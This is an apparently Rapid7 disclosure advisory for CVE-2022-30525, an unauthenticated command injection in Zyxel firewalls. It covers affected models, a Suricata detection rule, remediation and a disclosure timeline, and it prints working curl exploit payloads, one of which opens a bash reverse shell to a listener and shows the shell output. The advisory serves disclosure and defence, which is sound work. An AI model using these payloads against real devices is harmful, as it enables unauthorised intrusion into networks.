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CVE-2022-30525 (FIXED): ZYXEL FIREWALL UNAUTHENTICATED REMOTE COMMAND INJECTION
* May 12, 2022
* 5 min read
* Jake Baines
*
*
*
Last updated at Mon, 16 May 2022 14:31:01 GMT
Rapid7 discovered and reported a vulnerability that affects Zyxel firewalls
supporting Zero Touch Provisioning (ZTP), which includes the ATP series, VPN
series, and the USG FLEX series (including USG20-VPN and USG20W-VPN). The
vulnerability, identified as CVE-2022-30525, allows an unauthenticated and
remote attacker to achieve arbitrary code execution as the nobody user on the
affected device.
The following table contains the affected models and firmware versions.
Affected Model Affected Firmware Version USG FLEX 100, 100W, 200, 500, 700
ZLD5.00 thru ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800 ZLD5.10 thru ZLD5.21 Patch 1
The VPN series, which also supports ZTP, is not vulnerable because it does not
support the required functionality.
PRODUCT DESCRIPTION
The affected firewalls are advertised for both small branch and corporate
headquarter deployments. They offer VPN solutions, SSL inspection, web
filtering, intrusion protection, and email security, and advertise up to 5 Gbps
throughput through the firewall.
The affected models are relatively popular, with more than 15,000 visible on
Shodan .
CVE-2022-30525: UNAUTHENTICATED REMOTE COMMAND INJECTION
The affected models are vulnerable to unauthenticated and remote command
injection via the administrative HTTP interface. Commands are executed as the
nobody user. This vulnerability is exploited through the /ztp/cgi-bin/handler
URI and is the result of passing unsanitized attacker input into the os.system
method in lib_wan_settings.py. The vulnerable functionality is invoked in
association with the setWanPortSt command. An attacker can inject arbitrary
commands into the mtu or the data parameter. Below is an example curl that will
cause the firewall to execute ping 192.168.1.220:
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
On the firewall, the ps output looks like the following:
nobody 11040 0.0 0.2 21040 5152 ? S Apr10 0:00 \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
nobody 16052 56.4 0.6 18104 11224 ? S 06:16 0:02 | \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
nobody 16055 0.0 0.0 3568 1492 ? S 06:16 0:00 | \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
nobody 16057 0.0 0.0 2152 564 ? S 06:16 0:00 | \_ ping 192.168.1.220
A reverse shell can be established using the normal bash GTFOBin . For example:
curl -v --insecure -X POST -H "Content-Type: application/json" -d '
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/
192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1
/ztp/cgi-bin/handler
The resulting reverse shell can be used like so:
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 192.168.1.1 37882
bash: cannot set terminal process group (11037): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Bash-5.1
METASPLOIT MODULE
A Metasploit module has been developed for these vulnerabilities. The module can
be used to establish a nobody Meterpreter session. The following video
demonstrates exploitation:
We’ve shared a PCAP that captures Metasploit’s exploitation of a Zyxel USG FLEX
100. The PCAP can be found attached to the module’s pull request . The
Metasploit module injects commands in the mtu field, and as such, the following
Suricata rule should flag its use:
alert http any any -> any any ( \
msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
flow:to_server; \
http.method; content:"POST"; \
http.uri; content:"/ztp/cgi-bin/handler"; \
http.request_body; content:"setWanPortSt"; \
http.request_body; content:"mtu"; \
http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
classtype:misc-attack; \
sid:221270;)
CREDIT
This issue was discovered by Jake Baines of Rapid7, and it is being disclosed in
accordance with Rapid7's vulnerability disclosure policy.
REMEDIATION
Apply the vendor patch as soon as possible. If possible, enable automatic
firmware updates. Disable WAN access to the administrative web interface of the
system.
RAPID7 CUSTOMERS
InsightVM and Nexpose customers can assess their exposure to CVE-2022-30525 with
a remote vulnerability check.
DISCLOSURE TIMELINE
Astute readers will notice this timeline is a little atypical for Rapid7
disclosures. In accordance with our 60-day disclosure policy, we suggested a
coordinated disclosure date in June. Instead, Zyxel released patches to address
this issue on April 28, 2022. At that time, Zyxel did not publish an associated
CVE or security advisory. On May 9, Rapid7 independently discovered Zyxel’s
uncoordinated disclosure. The vendor then reserved CVE-2022-30525.
This patch release is tantamount to releasing details of the vulnerabilities,
since attackers and researchers can trivially reverse the patch to learn precise
exploitation details, while defenders rarely bother to do this. Therefore, we're
releasing this disclosure early in order to assist defenders in detecting
exploitation and to help them decide when to apply this fix in their own
environments, according to their own risk tolerances. In other words, silent
vulnerability patching tends to only help active attackers, and leaves defenders
in the dark about the true risk of newly discovered issues.
April 2022 - Discovered by Jake Baines
April 13, 2022 - Rapid7 discloses to security@zyxel.com.tw. Proposed disclosure
date June 21, 2022.
April 14, 2022 - Zyxel acknowledges receipt.
April 20, 2022 - Rapid7 asks for an update and shares delight over “Here is how
to pronounce ZyXEL’s name” .
April 21, 2022 - Zyxel acknowledges reproduction of the vulnerabilities.
April 28, 2022 - Zyxel releases patches without coordination with vulnerability
reporter.
April 29, 2022 - Zyxel indicates patch is likely to release before June 14,
2022.
May 9, 2022 - Rapid7 realizes Zyxel already issued patches. Rapid7 asks Zyxel
for a response on the silent patches and indicates that our team will publicly
disclose the week of May 9, 2022.
May 10, 2022 - Zyxel reserves CVE-2022-30525 and proposes a new disclosure
schedule.
May 12, 2022 - Zyxel advisory , this disclosure bulletin, and Metasploit module
published.
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Additional reading:
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Execution (Fixed)
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* Analyzing the Attack Landscape: Rapid7’s 2021 Vulnerability Intelligence
Report
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